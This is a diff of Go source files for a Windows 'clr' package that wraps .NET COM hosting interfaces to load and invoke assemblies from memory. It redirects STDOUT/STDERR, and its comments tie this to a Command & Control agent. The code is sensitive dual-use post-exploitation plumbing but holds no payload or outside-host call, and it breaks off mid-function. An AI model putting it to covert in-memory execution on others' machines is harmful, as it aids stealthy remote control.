// GetICORRuntimeHost is a wrapper function that takes in an ICLRRuntimeInfo and returns an ICORRuntimeHost object
// and loads it into the current process. This is the "deprecated" API, but the only way currently to load an assembly
// from memory (afaict)
func GetICORRuntimeHost(runtimeInfo *ICLRRuntimeInfo) (*ICORRuntimeHost, error) {
debugPrint("Entering into icorruntimehost.GetICORRuntimeHost()...")
var runtimeHost *ICORRuntimeHost
err := runtimeInfo.GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, unsafe.Pointer(&runtimeHost))
if err != nil {
return nil, err
}
err = runtimeHost.Start()
return runtimeHost, err
}
func (obj *ICORRuntimeHost) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
debugPrint("Entering into icorruntimehost.QueryInterface()...")
hr, _, err := syscall.Syscall(
obj.vtbl.QueryInterface,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
uintptr(ppvObject),
)
if err != syscall.Errno(0) {
fmt.Println("1111111111111")
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
}
if hr != S_OK {
fmt.Println("222222222222222222")
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
func (obj *ICORRuntimeHost) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *ICORRuntimeHost) Release() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// Start starts the common language runtime (CLR).
// HRESULT Start ();
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-start-method
func (obj *ICORRuntimeHost) Start() error {
debugPrint("Entering into icorruntimehost.Start()...")
hr, _, err := syscall.Syscall(
obj.vtbl.Start,
1,
uintptr(unsafe.Pointer(obj)),
0,
0,
)
if err != syscall.Errno(0) {
// The system could not find the environment option that was entered.
// TODO Why is this error message returned?
debugPrint(fmt.Sprintf("the ICORRuntimeHost::Start method returned an error:\r\n%s", err))
}
if hr != S_OK {
return fmt.Errorf("the ICORRuntimeHost::Start method method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
// GetDefaultDomain gets an interface pointer of type System._AppDomain that represents the default domain for the current process.
// HRESULT GetDefaultDomain (
// [out] IUnknown** pAppDomain
// );
// https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/icorruntimehost-getdefaultdomain-method
func (obj *ICORRuntimeHost) GetDefaultDomain() (IUnknown *IUnknown, err error) {
debugPrint("Entering into icorruntimehost.GetDefaultDomain()...")
hr, _, err := syscall.Syscall(
obj.vtbl.GetDefaultDomain,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&IUnknown)),
0,
)
if err != syscall.Errno(0) {
// The specified procedure could not be found.
// TODO Why is this error message returned?
debugPrint(fmt.Sprintf("the ICORRuntimeHost::GetDefaultDomain method returned an error:\r\n%s", err))
}
if hr != S_OK {
err = fmt.Errorf("the ICORRuntimeHost::GetDefaultDomain method method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
// CreateDomain Creates an application domain. The caller receives an interface pointer of type _AppDomain to an instance of type System.AppDomain.
// HRESULT CreateDomain (
// [in] LPWSTR pwzFriendlyName,
// [in] IUnknown* pIdentityArray,
// [out] void **pAppDomain
// );
// https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms164322(v=vs.100)
func (obj *ICORRuntimeHost) CreateDomain(pwzFriendlyName *uint16) (pAppDomain *AppDomain, err error) {
debugPrint("Entering into icorruntimehost.CreateDomain()...")
hr, _, err := syscall.Syscall6(
obj.vtbl.CreateDomain,
4,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(pwzFriendlyName)), // [in] LPWSTR pwzFriendlyName - An optional parameter used to give a friendly name to the domain
uintptr(unsafe.Pointer(nil)), // [in] IUnknown* pIdentityArray - An optional array of pointers to IIdentity instances that represent evidence mapped through security policy to establish a permission set
uintptr(unsafe.Pointer(&pAppDomain)), // [out] IUnknown** pAppDomain
0,
0,
)
if err != syscall.Errno(0) {
// The specified procedure could not be found.
// TODO Why is this error message returned?
debugPrint(fmt.Sprintf("the ICORRuntimeHost::CreateDomain method returned an error:\r\n%s", err))
}
if hr != S_OK {
err = fmt.Errorf("the ICORRuntimeHost::CreateDomain method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
// EnumDomains Gets an enumerator for the domains in the current process.
// HRESULT EnumDomains (
// [out] HCORENUM *hEnum
// );
func (obj *ICORRuntimeHost) EnumDomains() (hEnum *uintptr, err error) {
debugPrint("Enterin into icorruntimehost.EnumDomains()...")
hr, _, err := syscall.Syscall(
obj.vtbl.EnumDomains,
(uintptr(unsafe.Pointer(hEnum))),
0,
0,
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned an error:\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the ICORRuntimeHost::EnumDomains method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
+82
View File
@@ -0,0 +1,82 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
)
type IEnumUnknown struct {
vtbl *IEnumUnknownVtbl
}
// IEnumUnknownVtbl Enumerates objects implementing the root COM interface, IUnknown.
// Commonly implemented by a component containing multiple objects. For more information, see IEnumUnknown.
// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-ienumunknown
type IEnumUnknownVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
// Next Retrieves the specified number of items in the enumeration sequence.
Next uintptr
// Skip Skips over the specified number of items in the enumeration sequence.
Skip uintptr
// Reset Resets the enumeration sequence to the beginning.
Reset uintptr
// Clone Creates a new enumerator that contains the same enumeration state as the current one.
Clone uintptr
}
func (obj *IEnumUnknown) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *IEnumUnknown) Release() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// Next retrieves the specified number of items in the enumeration sequence.
// HRESULT Next(
// ULONG celt,
// IUnknown **rgelt,
// ULONG *pceltFetched
// );
// https://docs.microsoft.com/en-us/windows/win32/api/objidl/nf-objidl-ienumunknown-next
func (obj *IEnumUnknown) Next(celt uint32, pEnumRuntime unsafe.Pointer, pceltFetched *uint32) (hresult int, err error) {
debugPrint("Entering into ienumunknown.Next()...")
hr, _, err := syscall.Syscall6(
obj.vtbl.Next,
4,
uintptr(unsafe.Pointer(obj)),
uintptr(celt),
uintptr(pEnumRuntime),
uintptr(unsafe.Pointer(pceltFetched)),
0,
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("there was an error calling the IEnumUnknown::Next method:\r\n%s", err)
return
}
if hr != S_OK && hr != S_FALSE {
err = fmt.Errorf("the IEnumUnknown::Next method method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
hresult = int(hr)
return
}
+117
View File
@@ -0,0 +1,117 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
type IErrorInfo struct {
vtbl *IErrorInfoVtbl
}
// IErrorInfoVtbl returns information about an error in addition to the return code.
// It returns the error message, name of the component and GUID of the interface in
// which the error occurred, and the name and topic of the Help file that applies to the error.
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms723041(v=vs.85)
type IErrorInfoVtbl struct {
// QueryInterface Retrieves pointers to the supported interfaces on an object.
QueryInterface uintptr
// AddRef Increments the reference count for an interface pointer to a COM object.
// You should call this method whenever you make a copy of an interface pointer.
AddRef uintptr
// Release Decrements the reference count for an interface on a COM object.
Release uintptr
// GetDescription Returns a text description of the error
GetDescription uintptr
// GetGUID Returns the GUID of the interface that defined the error.
GetGUID uintptr
// GetHelpContext Returns the Help context ID for the error.
GetHelpContext uintptr
// GetHelpFile Returns the path of the Help file that describes the error.
GetHelpFile uintptr
// GetSource Returns the name of the component that generated the error, such as "ODBC driver-name".
GetSource uintptr
}
// GetDescription Returns a text description of the error.
// HRESULT GetDescription (
// BSTR *pbstrDescription);
// https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms714318(v=vs.85)
func (obj *IErrorInfo) GetDescription() (pbstrDescription *string, err error) {
debugPrint("Entering into ierrorinfo.GetDescription()...")
hr, _, err := syscall.Syscall(
obj.vtbl.GetDescription,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&pbstrDescription)),
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the IErrorInfo::GetDescription method method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
// GetGUID Returns the globally unique identifier (GUID) of the interface that defined the error.
// HRESULT GetGUID(
// GUID *pGUID
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-ierrorinfo-getguid
func (obj *IErrorInfo) GetGUID() (pGUID *windows.GUID, err error) {
debugPrint("Entering into ierrorinfo.GetGUID()...")
hr, _, err := syscall.Syscall(
obj.vtbl.GetGUID,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(pGUID)),
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the IErrorInfo::GetGUID method returned an error:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the IErrorInfo::GetGUID method method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
return
}
// GetErrorInfo Obtains the error information pointer set by the previous call to SetErrorInfo in the current logical thread.
// HRESULT GetErrorInfo(
// ULONG dwReserved,
// IErrorInfo **pperrinfo
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-oleauto-geterrorinfo
func GetErrorInfo() (pperrinfo *IErrorInfo, err error) {
debugPrint("Entering into ierrorinfo.GetErrorInfo()...")
modOleAut32 := syscall.MustLoadDLL("OleAut32.dll")
procGetErrorInfo := modOleAut32.MustFindProc("GetErrorInfo")
hr, _, err := procGetErrorInfo.Call(0, uintptr(unsafe.Pointer(&pperrinfo)))
if err != syscall.Errno(0) {
err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned an error:\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the OleAu32.GetErrorInfo procedure call returned a non-zero HRESULT code: 0x%x", hr)
return
}
err = nil
return
}
+200
View File
@@ -0,0 +1,200 @@
// +build windows
package clr
import (
"bufio"
"bytes"
"fmt"
"os"
"sync"
"time"
"golang.org/x/sys/windows"
)
// origSTDOUT is a Windows Handle to the program's original STDOUT
var origSTDOUT = windows.Stdout
// origSTDERR is a Windows Handle to the program's original STDERR
var origSTDERR = windows.Stderr
// rSTDOUT is an io.Reader for STDOUT
var rSTDOUT *os.File
// wSTDOUT is an io.Writer for STDOUT
var wSTDOUT *os.File
// rSTDERR is an io.Reader for STDERR
var rSTDERR *os.File
// wSTDERR is an io.Writer for STDERR
var wSTDERR *os.File
// Stdout is a buffer to collect anything written to STDOUT
// The CLR will return the COR_E_TARGETINVOCATION error on subsequent Invoke_3 calls if the
// redirected STDOUT writer is EVER closed while the parent process is running (e.g., a C2 Agent)
// The redirected STDOUT reader will never recieve EOF and therefore reads will block and that is
// why a buffer is used to stored anything that has been written to STDOUT while subsequent calls block
var Stdout bytes.Buffer
// Stderr is a buffer to collect anything written to STDERR
var Stderr bytes.Buffer
// errors is used to capture an errors from a goroutine
var errors = make(chan error)
// mutex ensures exclusive access to read/write on STDOUT/STDERR by one routine at a time
var mutex = &sync.Mutex{}
// RedirectStdoutStderr redirects the program's STDOUT/STDERR to an *os.File that can be read from this Go program
// The CLR executes assemblies outside of Go and therefore STDOUT/STDERR can't be captured using normal functions
// Intended to be used with a Command & Control framework so STDOUT/STDERR can be captured and returned
func RedirectStdoutStderr() (err error) {
// Create a new reader and writer for STDOUT
rSTDOUT, wSTDOUT, err = os.Pipe()
if err != nil {
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDOUT:\n%s", err)
return
}
// Createa new reader and writer for STDERR
rSTDERR, wSTDERR, err = os.Pipe()
if err != nil {
err = fmt.Errorf("there was an error calling the os.Pipe() function to create a new STDERR:\n%s", err)
return
}
// Set STDOUT/STDERR to the new files from os.Pipe()
// https://docs.microsoft.com/en-us/windows/console/setstdhandle
if err = windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, windows.Handle(wSTDOUT.Fd())); err != nil {
err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDOUT:\n%s", err)
return
}
if err = windows.SetStdHandle(windows.STD_ERROR_HANDLE, windows.Handle(wSTDERR.Fd())); err != nil {
err = fmt.Errorf("there was an error calling the windows.SetStdHandle function for STDERR:\n%s", err)
return
}
// Start STDOUT/STDERR buffer and collection
go BufferStdout()
go BufferStderr()
return
}
// RestoreStdoutStderr returns the program's original STDOUT/STDERR handles before they were redirected an *os.File
// Previously instantiated CLRs will continue to use the REDIRECTED STDOUT/STDERR handles and will not resume
// using the restored handles
func RestoreStdoutStderr() error {
if err := windows.SetStdHandle(windows.STD_OUTPUT_HANDLE, origSTDOUT); err != nil {
return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDOUT handle:\n%s", err)
}
if err := windows.SetStdHandle(windows.STD_ERROR_HANDLE, origSTDERR); err != nil {
return fmt.Errorf("there was an error calling the windows.SetStdHandle function to restore the original STDERR handle:\n%s", err)
}
return nil
}
// ReadStdoutStderr reads from the REDIRECTED STDOUT/STDERR
// Only use when RedirectStdoutStderr was previously called
func ReadStdoutStderr() (stdout string, stderr string, err error) {
debugPrint("Entering into io.ReadStdoutStderr()...")
// Sleep for one Microsecond to wait for STDOUT/STDERR goroutines to finish reading
// Race condition between reading the buffers and reading STDOUT/STDERR to the buffers
// Can't close STDOUT/STDERR writers once the CLR invokes on assembly and EOF is not
// returned because parent program is perpetually running
time.Sleep(1 * time.Microsecond)
// Check the error channel to see if any of the goroutines generated an error
if len(errors) > 0 {
var totalErrors string
for e := range errors {
totalErrors += e.Error()
}
err = fmt.Errorf(totalErrors)
return
}
// Read STDOUT Buffer
if Stdout.Len() > 0 {
stdout = Stdout.String()
Stdout.Reset()
}
// Read STDERR Buffer
if Stderr.Len() > 0 {
stderr = Stderr.String()
Stderr.Reset()
}
return
}
// CloseSTdoutStderr closes the Reader/Writer for the prviously redirected STDOUT/STDERR
// that was changed to an *os.File
func CloseStdoutStderr() (err error) {
err = rSTDOUT.Close()
if err != nil {
err = fmt.Errorf("there was an error closing the STDOUT Reader:\n%s", err)
return
}
err = wSTDOUT.Close()
if err != nil {
err = fmt.Errorf("there was an error closing the STDOUT Writer:\n%s", err)
return
}
err = rSTDERR.Close()
if err != nil {
err = fmt.Errorf("there was an error closing the STDERR Reader:\n%s", err)
return
}
err = wSTDERR.Close()
if err != nil {
err = fmt.Errorf("there was an error closing the STDERR Writer:\n%s", err)
return
}
return nil
}
// BufferStdout is designed to be used as a go routine to monitor for data written to the REDIRECTED STDOUT
// and collect it into a buffer so that it can be collected and sent back to a server
func BufferStdout() {
debugPrint("Entering into io.BufferStdout()...")
stdoutReader := bufio.NewReader(rSTDOUT)
for {
// Standard STDOUT buffer size is 4k
buf := make([]byte, 4096)
line, err := stdoutReader.Read(buf)
if err != nil {
errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
}
if line > 0 {
// Remove null bytes and add contents to the buffer
Stdout.Write(bytes.TrimRight(buf, "\x00"))
}
}
}
// BufferStderr is designed to be used as a go routine to monitor for data written to the REDIRECTED STDERR
// and collect it into a buffer so that it can be collected and sent back to a server
func BufferStderr() {
debugPrint("Entering into io.BufferStderr()...")
stderrReader := bufio.NewReader(rSTDERR)
for {
// Standard STDOUT buffer size is 4k
buf := make([]byte, 4096)
line, err := stderrReader.Read(buf)
if err != nil {
errors <- fmt.Errorf("there was an error reading from STDOUT in io.BufferStdout:\n%s", err)
}
if line > 0 {
// Remove null bytes and add contents to the buffer
Stderr.Write(bytes.TrimRight(buf, "\x00"))
}
}
}
+123
View File
@@ -0,0 +1,123 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
// ISupportErrorInfo Ensures that error information can be propagated up the call chain correctly.
// Automation objects that use the error handling interfaces must implement ISupportErrorInfo
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-isupporterrorinfo
type ISupportErrorInfo struct {
vtbl *ISupportErrorInfoVtbl
}
type ISupportErrorInfoVtbl struct {
// QueryInterface Retrieves pointers to the supported interfaces on an object.
QueryInterface uintptr
// AddRef Increments the reference count for an interface pointer to a COM object.
// You should call this method whenever you make a copy of an interface pointer.
AddRef uintptr
// Release Decrements the reference count for an interface on a COM object.
Release uintptr
// InterfaceSupportsErrorInfo Indicates whether an interface supports the IErrorInfo interface.
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
InterfaceSupportsErrorInfo uintptr
}
// QueryInterface queries a COM object for a pointer to one of its interface;
// identifying the interface by a reference to its interface identifier (IID).
// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
// HRESULT QueryInterface(
// REFIID riid,
// void **ppvObject
// );
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
func (obj *ISupportErrorInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
debugPrint("Entering into iunknown.QueryInterface()...")
hr, _, err := syscall.Syscall(
obj.vtbl.QueryInterface,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
uintptr(ppvObject),
)
if err != syscall.Errno(0) {
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
// AddRef Increments the reference count for an interface pointer to a COM object.
// You should call this method whenever you make a copy of an interface pointer
// ULONG AddRef();
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
func (obj *ISupportErrorInfo) AddRef() (count uint32, err error) {
debugPrint("Entering into iunknown.AddRef()...")
ret, _, err := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0,
)
if err != syscall.Errno(0) {
return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
}
err = nil
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
count = *(*uint32)(unsafe.Pointer(ret))
return
}
// Release Decrements the reference count for an interface on a COM object.
// ULONG Release();
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
func (obj *ISupportErrorInfo) Release() (count uint32, err error) {
debugPrint("Entering into iunknown.Release()...")
ret, _, err := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0,
)
if err != syscall.Errno(0) {
return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
}
err = nil
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
count = *(*uint32)(unsafe.Pointer(ret))
return
}
// InterfaceSupportsErrorInfo
// HRESULT InterfaceSupportsErrorInfo(
// REFIID riid
// );
// https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-isupporterrorinfo-interfacesupportserrorinfo
func (obj *ISupportErrorInfo) InterfaceSupportsErrorInfo(riid windows.GUID) error {
debugPrint("Entering into isupporterrorinfo.InterfaceSupportsErrorInfo()...")
hr, _, err := syscall.Syscall(
obj.vtbl.InterfaceSupportsErrorInfo,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&riid)),
0,
)
if err != syscall.Errno(0) {
return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method returned an error:\r\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the ISupportErrorInfo::InterfaceSupportsErrorInfo method method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
+99
View File
@@ -0,0 +1,99 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
type IUnknown struct {
vtbl *IUnknownVtbl
}
// IUnknownVtbl Enables clients to get pointers to other interfaces on a given object through the
// QueryInterface method, and manage the existence of the object through the AddRef and Release methods.
// All other COM interfaces are inherited, directly or indirectly, from IUnknown. Therefore, the three
// methods in IUnknown are the first entries in the vtable for every interface.
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nn-unknwn-iunknown
type IUnknownVtbl struct {
// QueryInterface Retrieves pointers to the supported interfaces on an object.
QueryInterface uintptr
// AddRef Increments the reference count for an interface pointer to a COM object.
// You should call this method whenever you make a copy of an interface pointer.
AddRef uintptr
// Release Decrements the reference count for an interface on a COM object.
Release uintptr
}
// QueryInterface queries a COM object for a pointer to one of its interface;
// identifying the interface by a reference to its interface identifier (IID).
// If the COM object implements the interface, then it returns a pointer to that interface after calling IUnknown::AddRef on it.
// HRESULT QueryInterface(
// REFIID riid,
// void **ppvObject
// );
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-queryinterface(refiid_void)
func (obj *IUnknown) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
debugPrint("Entering into iunknown.QueryInterface()...")
hr, _, err := syscall.Syscall(
obj.vtbl.QueryInterface,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
uintptr(ppvObject),
)
if err != syscall.Errno(0) {
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
// AddRef Increments the reference count for an interface pointer to a COM object.
// You should call this method whenever you make a copy of an interface pointer
// ULONG AddRef();
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-addref
func (obj *IUnknown) AddRef() (count uint32, err error) {
debugPrint("Entering into iunknown.AddRef()...")
ret, _, err := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0,
)
if err != syscall.Errno(0) {
return 0, fmt.Errorf("the IUnknown::AddRef method returned an error:\r\n%s", err)
}
err = nil
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
count = *(*uint32)(unsafe.Pointer(ret))
return
}
// Release Decrements the reference count for an interface on a COM object.
// ULONG Release();
// https://docs.microsoft.com/en-us/windows/win32/api/unknwn/nf-unknwn-iunknown-release
func (obj *IUnknown) Release() (count uint32, err error) {
debugPrint("Entering into iunknown.Release()...")
ret, _, err := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0,
)
if err != syscall.Errno(0) {
return 0, fmt.Errorf("the IUnknown::Release method returned an error:\r\n%s", err)
}
err = nil
// Unable to avoid misuse of unsafe.Pointer because the Windows API call returns the safeArray pointer in the "ret" value. This is a go vet false positive
count = *(*uint32)(unsafe.Pointer(ret))
return
}
+207
View File
@@ -0,0 +1,207 @@
// +build windows
package clr
import (
"fmt"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
)
// from mscorlib.tlh
type MethodInfo struct {
vtbl *MethodInfoVtbl
}
// MethodInfoVtbl Discovers the attributes of a method and provides access to method metadata.
// Inheritance: Object -> MemberInfo -> MethodBase -> MethodInfo
// MethodInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodinfo?view=net-5.0
// MethodBase Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase?view=net-5.0
// MemberInfo Class: https://docs.microsoft.com/en-us/dotnet/api/system.reflection.memberinfo?view=net-5.0
// Object Class: https://docs.microsoft.com/en-us/dotnet/api/system.object?view=net-5.0
type MethodInfoVtbl struct {
QueryInterface uintptr
AddRef uintptr
Release uintptr
GetTypeInfoCount uintptr
GetTypeInfo uintptr
GetIDsOfNames uintptr
Invoke uintptr
get_ToString uintptr
Equals uintptr
GetHashCode uintptr
GetType uintptr
get_MemberType uintptr
get_name uintptr
get_DeclaringType uintptr
get_ReflectedType uintptr
GetCustomAttributes uintptr
GetCustomAttributes_2 uintptr
IsDefined uintptr
GetParameters uintptr
GetMethodImplementationFlags uintptr
get_MethodHandle uintptr
get_Attributes uintptr
get_CallingConvention uintptr
Invoke_2 uintptr
get_IsPublic uintptr
get_IsPrivate uintptr
get_IsFamily uintptr
get_IsAssembly uintptr
get_IsFamilyAndAssembly uintptr
get_IsFamilyOrAssembly uintptr
get_IsStatic uintptr
get_IsFinal uintptr
get_IsVirtual uintptr
get_IsHideBySig uintptr
get_IsAbstract uintptr
get_IsSpecialName uintptr
get_IsConstructor uintptr
Invoke_3 uintptr
get_returnType uintptr
get_ReturnTypeCustomAttributes uintptr
GetBaseDefinition uintptr
}
func (obj *MethodInfo) QueryInterface(riid windows.GUID, ppvObject unsafe.Pointer) error {
debugPrint("Entering into methodinfo.QueryInterface()...")
hr, _, err := syscall.Syscall(
obj.vtbl.QueryInterface,
3,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&riid)), // A reference to the interface identifier (IID) of the interface being queried for.
uintptr(ppvObject),
)
if err != syscall.Errno(0) {
return fmt.Errorf("the IUknown::QueryInterface method returned an error:\r\n%s", err)
}
if hr != S_OK {
return fmt.Errorf("the IUknown::QueryInterface method method returned a non-zero HRESULT: 0x%x", hr)
}
return nil
}
func (obj *MethodInfo) AddRef() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.AddRef,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
func (obj *MethodInfo) Release() uintptr {
ret, _, _ := syscall.Syscall(
obj.vtbl.Release,
1,
uintptr(unsafe.Pointer(obj)),
0,
0)
return ret
}
// Invoke_3 Invokes the method or constructor reflected by this MethodInfo instance.
// virtual HRESULT __stdcall Invoke_3 (
// /*[in]*/ VARIANT obj,
// /*[in]*/ SAFEARRAY * parameters,
// /*[out,retval]*/ VARIANT * pRetVal ) = 0;
// https://docs.microsoft.com/en-us/dotnet/api/system.reflection.methodbase.invoke?view=net-5.0
func (obj *MethodInfo) Invoke_3(variantObj Variant, parameters *SafeArray) (err error) {
debugPrint("Entering into methodinfo.Invoke_3()...")
var pRetVal *Variant
hr, _, err := syscall.Syscall6(
obj.vtbl.Invoke_3,
4,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&variantObj)),
uintptr(unsafe.Pointer(parameters)),
uintptr(unsafe.Pointer(pRetVal)),
0,
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the MethodInfo::Invoke_3 method returned an error:\r\n%s", err)
return
}
// If the HRESULT is a TargetInvocationException, attempt to get the inner error
// This currentl doesn't work
if uint32(hr) == COR_E_TARGETINVOCATION {
var iSupportErrorInfo *ISupportErrorInfo
// See if MethodInfo supports the ISupportErrorInfo interface
err = obj.QueryInterface(IID_ISupportErrorInfo, unsafe.Pointer(&iSupportErrorInfo))
if err != nil {
err = fmt.Errorf("the MethodInfo::QueryInterface method returned an error when looking for the ISupportErrorInfo interface:\r\n%s", err)
return
}
// See if the ICorRuntimeHost interface supports the IErrorInfo interface
// Not sure if there is an Interface ID for MethodInfo
err = iSupportErrorInfo.InterfaceSupportsErrorInfo(IID_ICorRuntimeHost)
if err != nil {
err = fmt.Errorf("there was an error with the ISupportErrorInfo::InterfaceSupportsErrorInfo method:\r\n%s", err)
return
}
// Get the IErrorInfo object
iErrorInfo, errG := GetErrorInfo()
if errG != nil {
err = fmt.Errorf("there was an error getting the IErrorInfo object:\r\n%s", errG)
return err
}
// Read the IErrorInfo description
desc, errD := iErrorInfo.GetDescription()
if errD != nil {
err = fmt.Errorf("the IErrorInfo::GetDescription method returned an error:\r\n%s", errD)
return err
}
if desc == nil {
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x with an IErrorInfo description of: %s", hr, *desc)
}
if hr != S_OK {
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero HRESULT: 0x%x", hr)
return
}
if pRetVal != nil {
err = fmt.Errorf("the Assembly::Invoke_3 method returned a non-zero pRetVal: %+v", pRetVal)
return
}
err = nil
return
}
// GetString returns a string that represents the current object
// a string version of the method's signature
// public virtual string ToString ();
// https://docs.microsoft.com/en-us/dotnet/api/system.object.tostring?view=net-5.0#System_Object_ToString
func (obj *MethodInfo) GetString() (str string, err error) {
debugPrint("Entering into methodinfo.GetString()...")
var object *string
hr, _, err := syscall.Syscall(
obj.vtbl.get_ToString,
2,
uintptr(unsafe.Pointer(obj)),
uintptr(unsafe.Pointer(&object)),
0,
)
if err != syscall.Errno(0) {
err = fmt.Errorf("the MethodInfo::ToString method returned an error:\r\n%s", err)
return
}
if hr != S_OK {
err = fmt.Errorf("the Assembly::ToString method returned a non-zero HRESULT: 0x%x", hr)
return
}
err = nil
str = ReadUnicodeStr(unsafe.Pointer(object))
